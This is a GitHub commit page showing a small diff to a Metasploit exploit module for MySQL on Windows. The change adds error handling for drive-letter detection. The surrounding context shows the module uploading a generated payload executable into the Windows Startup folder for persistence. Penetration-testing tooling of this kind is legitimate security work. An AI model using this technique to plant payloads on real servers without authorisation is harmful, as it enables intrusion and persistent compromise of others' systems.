Skip to content

Commit 9a0ed72

Browse files
committed
Adds error handling for drive letter enumeration
1 parent 0c5f4ce commit 9a0ed72

File tree

1 file changed

+9
-1
lines changed

1 file changed

+9
-1
lines changed

modules/exploits/windows/mysql/mysql_start_up.rb

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -105,10 +105,18 @@ def exploit
105105
return
106106
end
107107

108-
drive = get_drive_letter
108+
begin
109+
drive = get_drive_letter
110+
return if not drive
111+
rescue RbMysql::ParseError
112+
print_error("Could not determine drive name")
113+
return
114+
end
115+
109116
exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
110117
dest = "#{drive}:/programdata/microsoft/windows/start menu/programs/startup/#{exe_name}"
111118
exe = generate_payload_exe
119+
112120
print_status("#{peer} - Uploading to '#{dest}'")
113121
begin
114122
upload_file(exe, dest)

0 commit comments

Comments
 (0)